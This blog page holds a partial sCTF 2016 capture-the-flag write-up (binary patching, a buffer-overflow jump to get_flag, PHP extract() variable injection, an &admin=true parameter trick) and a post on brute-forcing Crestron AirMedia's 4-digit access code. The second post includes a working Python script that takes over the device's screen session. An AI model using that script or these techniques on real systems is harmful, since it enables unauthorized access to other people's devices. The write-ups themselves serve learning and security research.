Friday, April 15, 2016

sCTF 2016 (incomplete) write-up

Update: other write-ups I found https://ctftime.org/event/309/tasks/ and https://github.com/VulnHub/ctf-writeups/tree/master/2016/sctf

I did sCTF and then kinda gave up. It was fun and frustrating. I'll try harder next time.
This is a partial write-up for some of things that I solved or tried solving.

Rev1

I’ll post two ways to do this. I’m learning these tools anyway.
I used qira (http://qira.me) first.
First, wrong password.
Running the same with qira.
I looked for scanf and saw cmp below it.
Notice that rax is 0x4d2, which is 1234/our input.
Eax is not equal to 0x5b74, then jump to 0x4006b7, which does occur. We need to put in 0x5b74 to make this work. 0x5b74 is 23412 in decimal.
And it works.
Another way to do it to just skip that jne instruction.
I’m using GDB with PEDA.
We’ll put a breakpoint at CMP, then jump to the instruction below jne.
And we jump

Rev2

This is very similar to the first one, except the jump trick won’t work.
Let’s start with qira again.
There is a cmp again, and rax has 1234. 0x30dda83 is 51239555. We can try that.
And it works.

SecureTextSaver (Incomplete)

This was a .jar file. I used JavaDecompilers.com (awesome site btw) to get the decompiled code.
Login_Page.java has username and password in it.
By the time I started writing this, the problems page was gone, since the CTF is over. I don’t remember what I did after this.
Cookies
Decompiled the jar file using JavaDecompilers.com.
This is Cookie.java
Notice the URL and the hash.
Password for the hash gets sent to the server and server returns the flag. I used hashkiller.co.uk, which had the password already cracked.
And we can send the password and get the flag.

Bomb_squad (Incomplete)

This binary has multiple phases you had to complete.
What you want to avoid is explode_bomb()
This is phase_1
It takes integer as input and does some math and if the input is correct, it jumps to 0x8048a15.
I decided to try angr with this. (http://angr.io) I used the example from the site and tried it with the first phase.
With angr, we want to find 0x8048a15 and avoid call to explode_bomb() (0x8048a10)

Pwn1

Going to use PEDA for this.
First time I was doing this, I didn’t pay attention to the description for the challenge.
It says “I'll convert a first person statement to a second person statement. I even wrote it in C++ to be super-safe about my strings!”
Notice that I became you.
We can use some I’s and pattern that PEDA creates to find out offset.
We can overwrite the EIP after we put in 24 bytes (20 I’s and 4 random bytes).
There is get_flag function in the binary that’s never called and we need to jump to it.
Address is 0x08048f0d.
Let’s generate our input to jump to get_flag.
And it works!

Pwn2 (Incomplete)

This is when I gave up. I know that I had to use ROP (never done it before) and I saw syscall in the binary, I just couldn’t get anything to work.


After trying different things, I eventually figured out that I needed to give it a negative number and my pattern.




Ducks

This one required password input on a website.
Notice the link to source.php, this contains the PHP code that does password check.
extract() is the issue here.
When we enter the password into The Ducks page, it will get sent as a post request with variable name pass.
We should be able to use Burp Proxy to append another variable, which would be thepassword_123. They both should be equal so we can get the flag.
And we get our flag.


Control Panel

I spent too much time on this trying stupid things. This was rather easy.
The hint was in the comments after you registered for an account and logged in.
This is normal registration and login.
Here’s the hint
You can create another account and append &admin=true in your post request.
And you get the flag.

Sunday, April 3, 2016

Bruteforcing Crestron Airmedia



I was doing some reverse engineering to figure out how I can hook into Crestron Airmedia desktop client and bruteforce 4 digit code using Frida (kinda like this http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html ) I spent some time with IDA and Immunity but didn’t figure it out. I did get better at IDA and Immunity though, so it was worth it. I might look into Android client next time since you can easily just decomplie it and look at the code. I ended up using python to do bruteforce.

I don’t have a good reason for why I did this. Besides being able to display my screen to bunch of people without knowing the 4 digit code, I can’t do anything else. It's good enough for Rick Rolling people from far away.

I started my analysis with looking at ‘send’ function. I want to know what’s being sent to the Airmedia device. Last time, I noticed that wppaliveROCK was sent by my machine to the Airmedia device after I connected to it and the device replied with wppaliveROLL.

Anyways. Let’s start with tracing ‘send’. First, we need to know what args are supplied to send and MSDN has pretty good documentation. https://msdn.microsoft.com/en-us/library/windows/desktop/ms740149(v=vs.85).aspx

SEND ( SOCKET, *BUF, LEN, FLAGS )

*BUF is a pointer to the data that will get sent
LEN is # of bytes for the data being sent

BUF and LEN is what we care about.

I ran frida-trace -i “sent” Airmedia.exe

And thankfully, frida auto-generates a file for us that we’re gonna make changes to it.

This is what’s in my send.js file
{
   onEnter: function (log, args, state) {
       log("send(" + args[0] + ")");
log(hexdump(args[1],{length:args[2].toInt32()}));
log("send2(" + args[2] + ")");
log("send3(" + args[3] + ")");
   },
   onLeave: function (log, retval, state) {
   }
}

Args[1] points to our data, args[2] is size.

Frida implemented hexdump feature recently and it’s really helpful. You can get more information here: http://www.frida.re/docs/javascript-api/#global

I entered my data and clicked ‘Connect’

Notice that wppaliveROCK is being sent.

Here’s the 4 digit code being sent.

I know it’s using port 389 because I confirmed with Wireshark. I also captured what Airmedia returned when I sent an incorrect code. It was 777070636d6400009300, which is 'wppcmd' and some other hex data.

Now we can just send this using Python and if a 4 digit code doesn’t return 777070636d6400009300, then that’s our code.

I wrote this simple script to do bruteforce:
import socket               
from time import sleep
s = socket.socket()         
import binascii
import sys

IP = sys.argv[1]
starti = int(sys.argv[2])
endi = int(sys.argv[3])

s.connect((IP, 389))

while True:
for pw in range(starti,endi):
sendstart = "wppcmd\x00\x00\x92John\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f"
sendend = "\x00\x00\x00\x00\n\n\x14\x00\x01\x00\x00\x02%\x9dMOPSDK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sendstr = sendstart + str(pw).zfill(4) + sendend
s.send(sendstr)
recvdata = s.recv(1024)
if binascii.hexlify(recvdata) != "777070636d6400009300":
print recvdata
print str(pw).zfill(4)
quit()

I ran it and it worked.

Of course, when I went to desktop app and tried to use the code, it said Nope. (I noticed on the TV that Airmedia changes the code after a few seconds)

Then I realized that wppaliveROCK might be the issue, so I added that to my script and it runs whenever the 4 digit code turns out to be correct.

Here’s my new python script:
import socket               
from time import sleep
s = socket.socket()         
import binascii
import sys

IP = sys.argv[1]
starti = int(sys.argv[2])
endi = int(sys.argv[3])

s.connect((IP, 389))

while True:
for pw in range(starti,endi):
sendstart = "wppcmd\x00\x00\x92John\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f"
sendend = "\x00\x00\x00\x00\n\n\x14\x00\x01\x00\x00\x02%\x9dMOPSDK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sendstr = sendstart + str(pw).zfill(4) + sendend
s.send(sendstr)
recvdata = s.recv(1024)
if binascii.hexlify(recvdata) != "777070636d6400009300":
print recvdata
print str(pw).zfill(4)
print "Starting session handling"
while True:
s.send("wppaliveROCK")
s.recv(1024)

And here it is in action

And sure enough, that code works!


I am a bit disappointed that I couldn't figure out how I can hook into the application and do but, of course, I didn't expect it be that simple either.

Check out these links: